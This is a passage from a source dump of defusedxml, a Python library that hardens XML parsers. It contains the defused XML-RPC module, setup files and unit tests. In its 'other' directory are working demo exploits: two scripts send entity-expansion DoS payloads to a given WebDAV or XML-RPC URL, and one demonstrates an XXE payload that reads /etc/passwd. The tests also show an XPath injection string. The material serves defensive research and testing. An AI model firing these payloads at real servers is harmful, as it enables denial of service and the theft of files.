forbid_dtd\n    parser.forbid_entities = forbid_entities\n    parser.forbid_external = forbid_external\n\n    inpsrc = _InputSource()\n    inpsrc.setByteStream(BytesIO(string))\n    parser.parse(inpsrc)\n\n\ndef make_parser(parser_list=[]):\n    return expatreader.create_parser()\n"
  },
  {
    "path": "defusedxml/xmlrpc.py",
    "content": "# defusedxml\n#\n# Copyright (c) 2013 by Christian Heimes <christian@python.org>\n# Licensed to PSF under a Contributor Agreement.\n# See https://www.python.org/psf/license for licensing details.\n\"\"\"Defused xmlrpclib\n\nAlso defuses gzip bomb\n\"\"\"\nfrom __future__ import print_function, absolute_import\n\nimport io\n\nfrom .common import DTDForbidden, EntitiesForbidden, ExternalReferenceForbidden\n\n__origin__ = \"xmlrpc.client\"\nfrom xmlrpc.client import ExpatParser\nfrom xmlrpc import client as xmlrpc_client\nfrom xmlrpc import server as xmlrpc_server\nfrom xmlrpc.client import gzip_decode as _orig_gzip_decode\nfrom xmlrpc.client import GzipDecodedResponse as _OrigGzipDecodedResponse\n\ntry:\n    import gzip\nexcept ImportError:  # pragma: no cover\n    gzip = None\n\n\n# Limit maximum request size to prevent resource exhaustion DoS\n# Also used to limit maximum amount of gzip decoded data in order to prevent\n# decompression bombs\n# A value of -1 or smaller disables the limit\nMAX_DATA = 30 * 1024 * 1024  # 30 MB\n\n\ndef defused_gzip_decode(data, limit=None):\n    \"\"\"gzip encoded data -> unencoded data\n\n    Decode data using the gzip content encoding as described in RFC 1952\n    \"\"\"\n    if not gzip:  # pragma: no cover\n        raise NotImplementedError\n    if limit is None:\n        limit = MAX_DATA\n    f = io.BytesIO(data)\n    gzf = gzip.GzipFile(mode=\"rb\", fileobj=f)\n    try:\n        if limit < 0:  # no limit\n            decoded = gzf.read()\n        else:\n            decoded = gzf.read(limit + 1)\n    except IOError:  # pragma: no cover\n        raise ValueError(\"invalid data\")\n    f.close()\n    gzf.close()\n    if limit >= 0 and len(decoded) > limit:\n        raise ValueError(\"max gzipped payload length exceeded\")\n    return decoded\n\n\nclass DefusedGzipDecodedResponse(gzip.GzipFile if gzip else object):\n    \"\"\"a file-like object to decode a response encoded with the gzip\n    method, as described in RFC 1952.\n    \"\"\"\n\n    def __init__(self, response, limit=None):\n        # response doesn't support tell() and read(), required by\n        # GzipFile\n        if not gzip:  # pragma: no cover\n            raise NotImplementedError\n        self.limit = limit = limit if limit is not None else MAX_DATA\n        if limit < 0:  # no limit\n            data = response.read()\n            self.readlength = None\n        else:\n            data = response.read(limit + 1)\n            self.readlength = 0\n        if limit >= 0 and len(data) > limit:\n            raise ValueError(\"max payload length exceeded\")\n        self.stringio = io.BytesIO(data)\n        super().__init__(mode=\"rb\", fileobj=self.stringio)\n\n    def read(self, n):\n        if self.limit >= 0:\n            left = self.limit - self.readlength\n            n = min(n, left + 1)\n            data = gzip.GzipFile.read(self, n)\n            self.readlength += len(data)\n            if self.readlength > self.limit:\n                raise ValueError(\"max payload length exceeded\")\n            return data\n        else:\n            return super().read(n)\n\n    def close(self):\n        super().close()\n        self.stringio.close()\n\n\nclass DefusedExpatParser(ExpatParser):\n    def __init__(self, target, forbid_dtd=False, forbid_entities=True, forbid_external=True):\n        super().__init__(target)\n        self.forbid_dtd = forbid_dtd\n        self.forbid_entities = forbid_entities\n        self.forbid_external = forbid_external\n        parser = self._parser\n        if self.forbid_dtd:\n            parser.StartDoctypeDeclHandler = self.defused_start_doctype_decl\n        if self.forbid_entities:\n            parser.EntityDeclHandler = self.defused_entity_decl\n            parser.UnparsedEntityDeclHandler = self.defused_unparsed_entity_decl\n        if self.forbid_external:\n            parser.ExternalEntityRefHandler = self.defused_external_entity_ref_handler\n\n    def defused_start_doctype_decl(self, name, sysid, pubid, has_internal_subset):\n        raise DTDForbidden(name, sysid, pubid)\n\n    def defused_entity_decl(\n        self, name, is_parameter_entity, value, base, sysid, pubid, notation_name\n    ):\n        raise EntitiesForbidden(name, value, base, sysid, pubid, notation_name)\n\n    def defused_unparsed_entity_decl(self, name, base, sysid, pubid, notation_name):\n        # expat 1.2\n        raise EntitiesForbidden(name, None, base, sysid, pubid, notation_name)  # pragma: no cover\n\n    def defused_external_entity_ref_handler(self, context, base, sysid, pubid):\n        raise ExternalReferenceForbidden(context, base, sysid, pubid)\n\n\ndef monkey_patch():\n    xmlrpc_client.FastParser = DefusedExpatParser\n    xmlrpc_client.GzipDecodedResponse = DefusedGzipDecodedResponse\n    xmlrpc_client.gzip_decode = defused_gzip_decode\n    if xmlrpc_server:\n        xmlrpc_server.gzip_decode = defused_gzip_decode\n\n\ndef unmonkey_patch():\n    xmlrpc_client.FastParser = None\n    xmlrpc_client.GzipDecodedResponse = _OrigGzipDecodedResponse\n    xmlrpc_client.gzip_decode = _orig_gzip_decode\n    if xmlrpc_server:\n        xmlrpc_server.gzip_decode = _orig_gzip_decode\n"
  },
  {
    "path": "other/README.txt",
    "content": "This directory contains test and demo scripts for other frameworks and\nlanguages. I used them to examine the characteristics of XML parsers.\n\n"
  },
  {
    "path": "other/exploit_webdav.py",
    "content": "#!/usr/bin/python\n\"\"\"Demo exploit for WebDAV DoS attack\n\nAuthor: Christian Heimes\n\"\"\"\nfrom __future__ import print_function\n\nimport sys\nimport base64\nimport urlparse\nimport httplib\n\nif len(sys.argv) != 2:\n    sys.exit(\"{} http://user:password@host:port/\".format(sys.argv[0]))\n\nurl = urlparse.urlparse(sys.argv[1])\n\nxml = \"\"\"<?xml version='1.0'?>\n<!DOCTYPE bomb [\n<!ENTITY a \"VALUE\">\n]>\n <propfind xmlns=\"DAV:\">\n   <prop>QUAD\n    <supported-live-property-set/>\n    <supported-method-set/>\n    </prop>\n</propfind>\n\"\"\"\n\nxml = xml.replace(\"VALUE\", \"a\" * 30000)\nxml = xml.replace(\"QUAD\", \"&a;\" * 1000)\n\nheaders = {\"Content-Type\": \"text/xml\", \"Content-Length\": len(xml), \"Depth\": 1}\n\nif url.username:\n    auth = base64.b64encode(\":\".join((url.username, url.password)))\n    headers[\"Authorization\"] = \"Basic %s\" % auth\n\ncon = httplib.HTTPConnection(url.hostname, int(url.port))\ncon.request(\"PROPFIND\", url.path, body=xml, headers=headers)\nres = con.getresponse()\nprint(res.read())\n"
  },
  {
    "path": "other/exploit_xmlrpc.py",
    "content": "#!/usr/bin/python\n\"\"\"Demo exploit for XML-RPC DoS attack\n\nAuthor: Christian Heimes\n\"\"\"\nfrom __future__ import print_function\n\nimport sys\nimport urllib2\n\nif len(sys.argv) != 2:\n    sys.exit(\"{} url\".format(sys.argv[0]))\n\nurl = sys.argv[1]\n\nxml = \"\"\"<?xml version='1.0'?>\n<!DOCTYPE bomb [\n<!ENTITY a \"VALUE\">\n]>\n<methodCall>\n<methodName>system.methodSignature</methodName>\n<params>\n<param>\n<value><string>QUAD</string></value>\n</param>\n</params>\n</methodCall>\n\"\"\"\n\nxml = xml.replace(\"VALUE\", \"a\" * 100000)\nxml = xml.replace(\"QUAD\", \"&a;\" * 1000)\n\nheaders = {\"Content-Type\": \"text/xml\", \"Content-Length\": len(xml)}\n\nreq = urllib2.Request(url, data=xml, headers=headers)\n\nprint(\"Sending request to {}\".format(url))\n\nresp = urllib2.urlopen(req)\n\nprint(\"Response\")\nprint(resp.read())\n"
  },
  {
    "path": "other/perl.pl",
    "content": "#!/usr/bin/perl\n\nuse XML::Simple;\nuse Data::Dumper;\n\n$parser = new XML::Simple;\n$xml = $parser->XMLin(\"$ARGV[0]\");\n$data = Dumper($xml);\nprint $data;\n"
  },
  {
    "path": "other/php.php",
    "content": "#!/usr/bin/php\n<?php\n\n// $options = 0;\n// $options = LIBXML_NONET;\n$options = LIBXML_NOENT;\n\n/* LIBXML_NOENT doesn't have any effect but\n   libxml_disable_entity_loader(true) works */\n\n$xml = simplexml_load_file($argv[1], \"SimpleXMLElement\", $options);\n$data = (string)$xml;\necho strlen($data);\necho $data;\n?>\n\n"
  },
  {
    "path": "other/python_external.py",
    "content": "#!/usr/bin/python\n\"\"\"Demo exploit for external entity expansion\n\nAuthor: Christian Heimes\n\"\"\"\nfrom __future__ import print_function\n\nfrom xml.sax import ContentHandler\nfrom xml.sax import parseString\n\nxml_good = \"\"\"<weather>Aachen</weather>\"\"\"\n\nxml_bad_file = \"\"\"<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<!DOCTYPE weather [\n<!ENTITY passwd SYSTEM \"file:///etc/passwd\">\n]>\n<weather>&passwd;</weather>\n\"\"\"\n\nxml_bad_url = \"\"\"<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<!DOCTYPE weather [\n<!ENTITY url SYSTEM \"http://hg.python.org/cpython/raw-file/a11ddd687a0b/Lib/test/dh512.pem\">\n]>\n<weather>&url;</weather>\n\"\"\"\n\n\nclass WeatherHandler(ContentHandler):\n    def __init__(self):\n        ContentHandler.__init__(self)\n        self.tag = \"unseen\"\n        self.city = []\n\n    def startElement(self, name, attrs):\n        if name != \"weather\" or self.tag != \"unseen\":\n            raise ValueError(name)\n        self.tag = \"processing\"\n\n    def endElement(self, name):\n        self.tag = \"seen\"\n        self.city = \"\".join(self.city)\n\n    def characters(self, content):\n        if self.tag == \"processing\":\n            self.city.append(content)\n\n\ndef weatherResponse(xml):\n    handler = WeatherHandler()\n    parseString(xml, handler)\n    if handler.city == \"Aachen\":\n        return \"<weather>The weather in %s is terrible.</weather\" % handler.city\n    else:\n        return \"<error>Unknown city %s</error>\" % handler.city[:500]\n\n\nfor xml in (xml_good, xml_bad_file, xml_bad_url):\n    print(\"\\nREQUEST:\\n--------\")\n    print(xml)\n    print(\"\\nRESPONSE:\\n---------\")\n    print(weatherResponse(xml))\n    print(\"\")\n"
  },
  {
    "path": "other/python_genshi.py",
    "content": "#!/usr/bin/python\nimport sys\nfrom pprint import pprint\nfrom genshi.input import XMLParser\n\nwith open(sys.argv[1]) as f:\n    parser = XMLParser(f)\n    pprint(list(parser))\n"
  },
  {
    "path": "other/ruby-hpricot.rb",
    "content": "#!/usr/bin/ruby -w\nrequire 'hpricot'\n\nxml = File.read(ARGV[0])\ndoc = Hpricot(xml)\nputs doc\n\n"
  },
  {
    "path": "other/ruby-libxml.rb",
    "content": "#!/usr/bin/ruby -w\nrequire 'libxml'\n\ninclude LibXML\n\nclass PostCallbacks\n  include XML::SaxParser::Callbacks\n\n  def on_start_element(element, attributes)\n    puts element\n  end\nend\n\nparser = XML::SaxParser.file(ARGV[0])\nparser.callbacks = PostCallbacks.new\nparser.parse\n\n"
  },
  {
    "path": "other/ruby-rexml.rb",
    "content": "#!/usr/bin/ruby -w\nrequire \"rexml/document\"\n\nxml = File.read(ARGV[0])\n# REXML::Document.entity_expansion_limit = 1000\nxmldoc = REXML::Document.new(xml)\ndata = xmldoc.root.text\n#puts data.length\nputs data\n"
  },
  {
    "path": "pyproject.toml",
    "content": "[tool.black]\nline-length = 98\ntarget-version = ['py36', 'py37', 'py38']\n"
  },
  {
    "path": "setup.cfg",
    "content": "[bdist_wheel]\nuniversal = 1\n\n[aliases]\npackages = clean --all egg_info bdist_wheel sdist --format=gztar\nrelease = packages register upload\n"
  },
  {
    "path": "setup.py",
    "content": "#!/usr/bin/env python\nimport sys\nfrom distutils.core import Command\nimport subprocess\n\nfrom setuptools import setup\n\nimport defusedxml\n\n\nclass PyTest(Command):\n    user_options = []\n\n    def initialize_options(self):\n        pass\n\n    def finalize_options(self):\n        pass\n\n    def run(self):\n        errno = subprocess.call([sys.executable, \"tests.py\"])\n        raise SystemExit(errno)\n\n\nlong_description = []\nwith open(\"README.txt\") as f:\n    long_description.append(f.read())\nwith open(\"CHANGES.txt\") as f:\n    long_description.append(f.read())\n\n\nsetup(\n    name=\"defusedxml\",\n    version=defusedxml.__version__,\n    cmdclass={\"test\": PyTest},\n    packages=[\"defusedxml\"],\n    author=\"Christian Heimes\",\n    author_email=\"christian@python.org\",\n    maintainer=\"Christian Heimes\",\n    maintainer_email=\"christian@python.org\",\n    url=\"https://github.com/tiran/defusedxml\",\n    download_url=\"https://pypi.python.org/pypi/defusedxml\",\n    keywords=\"xml bomb DoS\",\n    platforms=\"all\",\n    license=\"PSFL\",\n    description=\"XML bomb protection for Python stdlib modules\",\n    long_description=\"\\n\".join(long_description),\n    long_description_content_type=\"text/x-rst\",\n    classifiers=[\n        \"Development Status :: 6 - Mature\",\n        \"Intended Audience :: Developers\",\n        \"License :: OSI Approved :: Python Software Foundation License\",\n        \"Natural Language :: English\",\n        \"Programming Language :: Python\",\n        \"Programming Language :: Python :: 3\",\n        \"Programming Language :: Python :: 3.6\",\n        \"Programming Language :: Python :: 3.7\",\n        \"Programming Language :: Python :: 3.8\",\n        \"Programming Language :: Python :: 3.9\",\n        \"Programming Language :: Python :: 3.10\",\n        \"Programming Language :: Python :: 3.11\",\n        \"Programming Language :: Python :: 3.12\",\n        \"Topic :: Text Processing :: Markup :: XML\",\n    ],\n    python_requires=\">=3.6\",\n)\n"
  },
  {
    "path": "tests.py",
    "content": "from __future__ import print_function\n\nimport io\nimport os\nimport sys\nimport unittest\nimport warnings\nfrom unittest import mock\n\nfrom xml.etree import ElementTree as orig_elementtree\nfrom xml.etree.ElementTree import Element as ElementBeforeImport\nfrom xml.sax.saxutils import XMLGenerator\nfrom xml.sax import SAXParseException\nfrom pyexpat import ExpatError\n\nfrom defusedxml import ElementTree, minidom, pulldom, sax, xmlrpc, expatreader\nfrom defusedxml import defuse_stdlib\nfrom defusedxml import (\n    DTDForbidden,\n    EntitiesForbidden,\n    ExternalReferenceForbidden,\n    NotSupportedError,\n)\n\nfrom xml.etree.ElementTree import Element as ElementAfterImport\n\nif sys.version_info < (3, 7):\n    warnings.filterwarnings(\"once\", category=DeprecationWarning)\n\n\nwith warnings.catch_warnings(record=True) as cetree_warnings:\n    from defusedxml import cElementTree\n\n\ntry:\n    import gzip\nexcept ImportError:\n    gzip = None\n\n\ntry:\n    with warnings.catch_warnings(record=True) as lxml_warnings:\n        from defusedxml import lxml\n    from lxml import etree as lxml_etree\n\n    LXML3 = lxml.LXML3\nexcept ImportError:\n    lxml = None\n    lxml_etree = None\n    LXML3 = False\n    lxml_warnings = None\n\n\nwarnings.filterwarnings(\"always\", category=DeprecationWarning, module=r\"defusedxml\\..*\")\n\n\nHERE = os.path.dirname(os.path.abspath(__file__))\n\n# prevent web access\n# based on Debian's rules, Port 9 is discard\nos.environ[\"http_proxy\"] = \"http://127.0.9.1:9\"\nos.environ[\"https_proxy\"] = os.environ[\"http_proxy\"]\nos.environ[\"ftp_proxy\"] = os.environ[\"http_proxy\"]\n\n\nclass DefusedTestCase(unittest.TestCase):\n    content_binary = False\n\n    xml_dtd = os.path.join(HERE, \"xmltestdata\", \"dtd.xml\")\n    xml_external = os.path.join(HERE, \"xmltestdata\", \"external.xml\")\n    xml_external_file = os.path.join(HERE, \"xmltestdata\", \"external_file.xml\")\n    xml_quadratic = os.path.join(HERE, \"xmltestdata\", \"quadratic.xml\")\n    xml_simple = os.path.join(HERE, \"xmltestdata\", \"simple.xml\")\n    xml_simple_ns = os.path.join(HERE, \"xmltestdata\", \"simple-ns.xml\")\n    xml_bomb = os.path.join(HERE, \"xmltestdata\", \"xmlbomb.xml\")\n    xml_bomb2 = os.path.join(HERE, \"xmltestdata\", \"xmlbomb2.xml\")\n    xml_cyclic = os.path.join(HERE, \"xmltestdata\", \"cyclic.xml\")\n    xml_dtd_element = os.path.join(HERE, \"xmltestdata\", \"dtd_element.xml\")\n    xml_schema_include = os.path.join(HERE, \"xmltestdata\", \"schema-include.xsd\")\n\n    def get_content(self, xmlfile):\n        mode = \"rb\" if self.content_binary else \"r\"\n        with io.open(xmlfile, mode) as f:\n            data = f.read()\n        return data\n\n\nclass BaseTests(DefusedTestCase):\n    module = None\n    dtd_external_ref = False\n\n    external_ref_exception = ExternalReferenceForbidden\n    cyclic_error = None\n    iterparse = None\n\n    def test_simple_parse(self):\n        self.parse(self.xml_simple)\n        self.parseString(self.get_content(self.xml_simple))\n        if self.iterparse:\n            self.iterparse(self.xml_simple)\n\n    def test_simple_parse_ns(self):\n        self.parse(self.xml_simple_ns)\n        self.parseString(self.get_content(self.xml_simple_ns))\n        if self.iterparse:\n            self.iterparse(self.xml_simple_ns)\n\n    def test_entities_forbidden(self):\n        self.assertRaises(EntitiesForbidden, self.parse, self.xml_bomb)\n        self.assertRaises(EntitiesForbidden, self.parse, self.xml_quadratic)\n        self.assertRaises(EntitiesForbidden, self.parse, self.xml_external)\n\n        self.assertRaises(EntitiesForbidden, self.parseString, self.get_content(self.xml_bomb))\n        self.assertRaises(\n            EntitiesForbidden, self.parseString, self.get_content(self.xml_quadratic)\n        )\n        self.assertRaises(\n            EntitiesForbidden, self.parseString, self.get_content(self.xml_external)\n        )\n\n        if self.iterparse:\n            self.assertRaises(EntitiesForbidden, self.iterparse, self.xml_bomb)\n            self.assertRaises(EntitiesForbidden, self.iterparse, self.xml_quadratic)\n            self.assertRaises(EntitiesForbidden, self.iterparse, self.xml_external)\n\n    def test_entity_cycle(self):\n        self.assertRaises(self.cyclic_error, self.parse, self.xml_cyclic, forbid_entities=False)\n\n    def test_dtd_forbidden(self):\n        self.assertRaises(DTDForbidden, self.parse, self.xml_bomb, forbid_dtd=True)\n        self.assertRaises(DTDForbidden, self.parse, self.xml_quadratic, forbid_dtd=True)\n        self.assertRaises(DTDForbidden, self.parse, self.xml_external, forbid_dtd=True)\n        self.assertRaises(DTDForbidden, self.parse, self.xml_dtd, forbid_dtd=True)\n\n        self.assertRaises(\n            DTDForbidden, self.parseString, self.get_content(self.xml_bomb), forbid_dtd=True\n        )\n        self.assertRaises(\n            DTDForbidden, self.parseString, self.get_content(self.xml_quadratic), forbid_dtd=True\n        )\n        self.assertRaises(\n            DTDForbidden, self.parseString, self.get_content(self.xml_external), forbid_dtd=True\n        )\n        self.assertRaises(\n            DTDForbidden, self.parseString, self.get_content(self.xml_dtd), forbid_dtd=True\n        )\n\n        if self.iterparse:\n            self.assertRaises(DTDForbidden, self.iterparse, self.xml_bomb, forbid_dtd=True)\n            self.assertRaises(DTDForbidden, self.iterparse, self.xml_quadratic, forbid_dtd=True)\n            self.assertRaises(DTDForbidden, self.iterparse, self.xml_external, forbid_dtd=True)\n            self.assertRaises(DTDForbidden, self.iterparse, self.xml_dtd, forbid_dtd=True)\n\n    def test_dtd_with_external_ref(self):\n        if self.dtd_external_ref:\n            self.assertRaises(self.external_ref_exception, self.parse, self.xml_dtd)\n        else:\n            self.parse(self.xml_dtd)\n\n    def test_external_ref(self):\n        self.assertRaises(\n            self.external_ref_exception, self.parse, self.xml_external, forbid_entities=False\n        )\n\n    def test_external_file_ref(self):\n        content = self.get_content(self.xml_external_file)\n        if isinstance(content, bytes):\n            here = HERE.encode(sys.getfilesystemencoding())\n            content = content.replace(b\"/PATH/TO\", here)\n        else:\n            content = content.replace(\"/PATH/TO\", HERE)\n        self.assertRaises(\n            self.external_ref_exception, self.parseString, content, forbid_entities=False\n        )\n\n    def test_allow_expansion(self):\n        self.parse(self.xml_bomb2, forbid_entities=False)\n        self.parseString(self.get_content(self.xml_bomb2), forbid_entities=False)\n\n    def test_dtd_element(self):\n        self.parse(self.xml_dtd_element)\n\n\nclass TestDefusedElementTree(BaseTests):\n    module = ElementTree\n\n    # etree doesn't do external ref lookup\n    # external_ref_exception = ElementTree.ParseError\n\n    cyclic_error = ElementTree.ParseError\n\n    def parse(self, xmlfile, **kwargs):\n        tree = self.module.parse(xmlfile, **kwargs)\n        return self.module.tostring(tree.getroot())\n\n    def parseString(self, xmlstring, **kwargs):\n        tree = self.module.fromstring(xmlstring, **kwargs)\n        return self.module.tostring(tree)\n\n    def parseStringList(self, sequence, **kwargs):\n        tree = self.module.fromstringlist(sequence, **kwargs)\n        return self.module.tostring(tree)\n\n    def iterparse(self, source, **kwargs):\n        return list(self.module.iterparse(source, **kwargs))\n\n    def test_html_arg(self):\n        with warnings.catch_warnings(record=True) as w:\n            self.module.XMLParse(html=0)\n        self.assertEqual(len(w), 1)\n        self.assertIs(w[0].category, DeprecationWarning)\n        with self.assertRaises(TypeError):\n            self.module.XMLParse(html=1)\n\n    def test_aliases(self):\n        parser = self.module.DefusedXMLParser\n        assert self.module.XMLTreeBuilder is parser\n        assert self.module.XMLParser is parser\n        assert self.module.XMLParse is parser\n\n    def test_fromstringlist(self):\n        seq = [\"<root>\", '<tag id=\"one\" />', '<tag id=\"two\" />', \"</root>\"]\n        tree = self.module.fromstringlist(seq)\n        result = self.module.tostring(tree)\n        self.assertEqual(result, \"\".join(seq).encode(\"utf-8\"))\n\n    def test_import_order(self):\n        from xml.etree import ElementTree as second_elementtree\n\n        self.assertIs(orig_elementtree, second_elementtree)\n\n    def test_orig_parseerror(self):\n        # https://github.com/tiran/defusedxml/issues/63\n        self.assertIs(self.module.ParseError, orig_elementtree.ParseError)\n        try:\n            self.parseString(\"invalid\")\n        except Exception as e:\n            self.assertIsInstance(e, orig_elementtree.ParseError)\n            self.assertIsInstance(e, self.module.ParseError)\n\n    def test_etree_element(self):\n        tree = tree = self.module.parse(self.xml_simple)\n        root = tree.getroot()\n        root.append(orig_elementtree.Element(\"module-import\"))\n        root.append(ElementBeforeImport(\"before-import\"))\n        root.append(ElementAfterImport(\"after-import\"))\n        s = orig_elementtree.tostring(root)\n        self.assertEqual(s.count(b\"import\"), 3, s)\n\n\nclass TestDefusedcElementTree(TestDefusedElementTree):\n    module = cElementTree\n\n    def test_celementtree_warnings(self):\n        self.assertTrue(cetree_warnings)\n        self.assertEqual(cetree_warnings[0].category, DeprecationWarning)\n        self.assertIn(\"tests.py\", cetree_warnings[0].filename)\n\n\nclass TestDefusedMinidom(BaseTests):\n    module = minidom\n\n    cyclic_error = ExpatError\n\n    iterparse = None\n\n    def parse(self, xmlfile, **kwargs):\n        doc = self.module.parse(xmlfile, **kwargs)\n        return doc.toxml()\n\n    def parseString(self, xmlstring, **kwargs):\n        doc = self.module.parseString(xmlstring, **kwargs)\n        return doc.toxml()\n\n\nclass TestDefusedMinidomWithParser(TestDefusedMinidom):\n    cyclic_error = SAXParseException\n    dtd_external_ref = True\n\n    def parse(self, xmlfile, **kwargs):\n        doc = self.module.parse(xmlfile, parser=expatreader.create_parser(**kwargs), **kwargs)\n        return doc.toxml()\n\n    def parseString(self, xmlstring, **kwargs):\n        doc = self.module.parseString(\n            xmlstring, parser=expatreader.create_parser(**kwargs), **kwargs\n        )\n        return doc.toxml()\n\n\nclass TestDefusedPulldom(BaseTests):\n    module = pulldom\n\n    cyclic_error = SAXParseException\n\n    dtd_external_ref = True\n\n    def parse(self, xmlfile, **kwargs):\n        events = self.module.parse(xmlfile, **kwargs)\n        return list(events)\n\n    def parseString(self, xmlstring, **kwargs):\n        events = self.module.parseString(xmlstring, **kwargs)\n        return list(events)\n\n\nclass TestDefusedSax(BaseTests):\n    module = sax\n\n    cyclic_error = SAXParseException\n\n    content_binary = True\n    dtd_external_ref = True\n\n    def parse(self, xmlfile, **kwargs):\n        with io.StringIO() as result:\n            handler = XMLGenerator(result)\n            self.module.parse(xmlfile, handler, **kwargs)\n            return result.getvalue()\n\n    def parseString(self, xmlstring, **kwargs):\n        with io.StringIO() as result:\n            handler = XMLGenerator(result)\n            self.module.parseString(xmlstring, handler, **kwargs)\n            return result.getvalue()\n\n    def test_exceptions(self):\n        with self.assertRaises(EntitiesForbidden) as ctx:\n            self.parse(self.xml_bomb)\n        msg = \"EntitiesForbidden(name='a', system_id=None, public_id=None)\"\n        self.assertEqual(str(ctx.exception), msg)\n        self.assertEqual(repr(ctx.exception), msg)\n\n        with self.assertRaises(ExternalReferenceForbidden) as ctx:\n            self.parse(self.xml_external, forbid_entities=False)\n        msg = (\n            \"ExternalReferenceForbidden\"\n            \"(system_id='http://www.w3schools.com/xml/note.xml', public_id=None)\"\n        )\n        self.assertEqual(str(ctx.exception), msg)\n        self.assertEqual(repr(ctx.exception), msg)\n\n        with self.assertRaises(DTDForbidden) as ctx:\n            self.parse(self.xml_bomb, forbid_dtd=True)\n        msg = \"DTDForbidden(name='xmlbomb', system_id=None, public_id=None)\"\n        self.assertEqual(str(ctx.exception), msg)\n        self.assertEqual(repr(ctx.exception), msg)\n\n\n@unittest.skipUnless(lxml is not None, \"test requires lxml\")\nclass TestDefusedLxml(BaseTests):\n    module = lxml\n\n    cyclic_error = getattr(lxml_etree, \"XMLSyntaxError\", None)\n\n    content_binary = True\n\n    def parse(self, xmlfile, **kwargs):\n        try:\n            tree = self.module.parse(xmlfile, **kwargs)\n        except lxml_etree.XMLSyntaxError:\n            self.skipTest(\"lxml detects entity reference loop\")\n        return self.module.tostring(tree)\n\n    def parseString(self, xmlstring, **kwargs):\n        try:\n            tree = self.module.fromstring(xmlstring, **kwargs)\n        except lxml_etree.XMLSyntaxError:\n            self.skipTest(\"lxml detects entity reference loop\")\n        return self.module.tostring(tree)\n\n    if not LXML3:\n\n        def test_entities_forbidden(self):\n            self.assertRaises(NotSupportedError, self.parse, self.xml_bomb)\n\n        def test_dtd_with_external_ref(self):\n            self.assertRaises(NotSupportedError, self.parse, self.xml_dtd)\n\n    def test_external_ref(self):\n        pass\n\n    def test_external_file_ref(self):\n        pass\n\n    def test_restricted_element1(self):\n        try:\n            tree = self.module.parse(self.xml_bomb, forbid_dtd=False, forbid_entities=False)\n        except lxml_etree.XMLSyntaxError:\n            self.skipTest(\"lxml detects entityt reference loop\")\n        root = tree.getroot()\n        self.assertEqual(root.text, None)\n\n        self.assertEqual(list(root), [])\n        self.assertEqual(root.getchildren(), [])\n        self.assertEqual(list(root.iter()), [root])\n        self.assertEqual(list(root.iterchildren()), [])\n        self.assertEqual(list(root.iterdescendants()), [])\n        self.assertEqual(list(root.itersiblings()), [])\n        self.assertEqual(list(root.getiterator()), [root])\n        self.assertEqual(root.getnext(), None)\n\n    def test_restricted_element2(self):\n        try:\n            tree = self.module.parse(self.xml_bomb2, forbid_dtd=False, forbid_entities=False)\n        except lxml_etree.XMLSyntaxError:\n            self.skipTest(\"lxml detects entityt reference loop\")\n        root = tree.getroot()\n        bomb, tag = root\n        self.assertEqual(root.text, \"text\")\n\n        self.assertEqual(list(root), [bomb, tag])\n        self.assertEqual(root.getchildren(), [bomb, tag])\n        self.assertEqual(list(root.iter()), [root, bomb, tag])\n        self.assertEqual(list(root.iterchildren()), [bomb, tag])\n        self.assertEqual(list(root.iterdescendants()), [bomb, tag])\n        self.assertEqual(list(root.itersiblings()), [])\n        self.assertEqual(list(root.getiterator()), [root, bomb, tag])\n        self.assertEqual(root.getnext(), None)\n        self.assertEqual(root.getprevious(), None)\n\n        self.assertEqual(list(bomb.itersiblings()), [tag])\n        self.assertEqual(bomb.getnext(), tag)\n        self.assertEqual(bomb.getprevious(), None)\n        self.assertEqual(tag.getnext(), None)\n        self.assertEqual(tag.getprevious(), bomb)\n\n    def test_xpath_injection(self):\n        # show XPath injection vulnerability\n        xml = \"\"\"<root><tag id=\"one\" /><tag id=\"two\"/></root>\"\"\"\n        expr = \"one' or @id='two\"\n        root = lxml.fromstring(xml)\n\n        # insecure way\n        xp = \"tag[@id='%s']\" % expr\n        elements = root.xpath(xp)\n        self.assertEqual(len(elements), 2)\n        self.assertEqual(elements, list(root))\n\n        # proper and safe way\n        xp = \"tag[@id=$idname]\"\n        elements = root.xpath(xp, idname=expr)\n        self.assertEqual(len(elements), 0)\n        self.assertEqual(elements, [])\n\n        elements = root.xpath(xp, idname=\"one\")\n        self.assertEqual(len(elements), 1)\n        self.assertEqual(elements, list(root)[:1])\n\n    def test_lxml_warnings(self):\n        self.assertTrue(lxml_warnings)\n        self.assertEqual(lxml_warnings[0].category, DeprecationWarning)\n        self.assertIn(\"tests.py\", lxml_warnings[0].filename)\n\n    def test_lxml_schema_include(self):\n        # attempt to trigger network ops and error\n        with mock.patch.dict(os.environ):\n            os.environ.pop(\"no_proxy\", None)\n            os.environ[\"http_proxy\"] = \"http://proxy.invalid:3128\"\n            os.environ[\"https_proxy\"] = \"http://proxy.invalid:3128\"\n\n            doc = self.module.fromstring(\"<root>true</root>\")\n\n            schema = lxml_etree.XMLSchema(file=self.xml_schema_include)\n            schema.validate(doc)\n\n            schema_etree = self.module.parse(self.xml_schema_include)\n            lxml_etree.XMLSchema(etree=schema_etree)\n            schema.validate(doc)\n\n\nclass XmlRpcTarget(object):\n    def __init__(self):\n        self._data = []\n\n    def __str__(self):\n        return \"\".join(self._data)\n\n    def xml(self, encoding, standalone):\n        pass\n\n    def start(self, tag, attrs):\n        self._data.append(\"<%s>\" % tag)\n\n    def data(self, text):\n        self._data.append(text)\n\n    def end(self, tag):\n        self._data.append(\"</%s>\" % tag)\n\n\nclass TestXmlRpc(DefusedTestCase):\n    module = xmlrpc\n\n    def parse(self, xmlfile, **kwargs):\n        target = XmlRpcTarget()\n        parser = self.module.DefusedExpatParser(target, **kwargs)\n        data = self.get_content(xmlfile)\n        parser.feed(data)\n        parser.close()\n        return target\n\n    def parse_unpatched(self, xmlfile):\n        target = XmlRpcTarget()\n        parser = self.module.ExpatParser(target)\n        data = self.get_content(xmlfile)\n        parser.feed(data)\n        parser.close()\n        return target\n\n    def test_xmlrpc(self):\n        self.assertRaises(EntitiesForbidden, self.parse, self.xml_bomb)\n        self.assertRaises(EntitiesForbidden, self.parse, self.xml_quadratic)\n        self.parse(self.xml_dtd)\n        self.assertRaises(DTDForbidden, self.parse, self.xml_dtd, forbid_dtd=True)\n\n    # def test_xmlrpc_unpatched(self):\n    #    for fname in (self.xml_external,  self.xml_dtd):\n    #        print(self.parse_unpatched(fname))\n\n    def test_monkeypatch(self):\n        try:\n            xmlrpc.monkey_patch()\n        finally:\n            xmlrpc.unmonkey_patch()\n\n\n@unittest.skipUnless(gzip is not None, \"test requires gzip\")\nclass 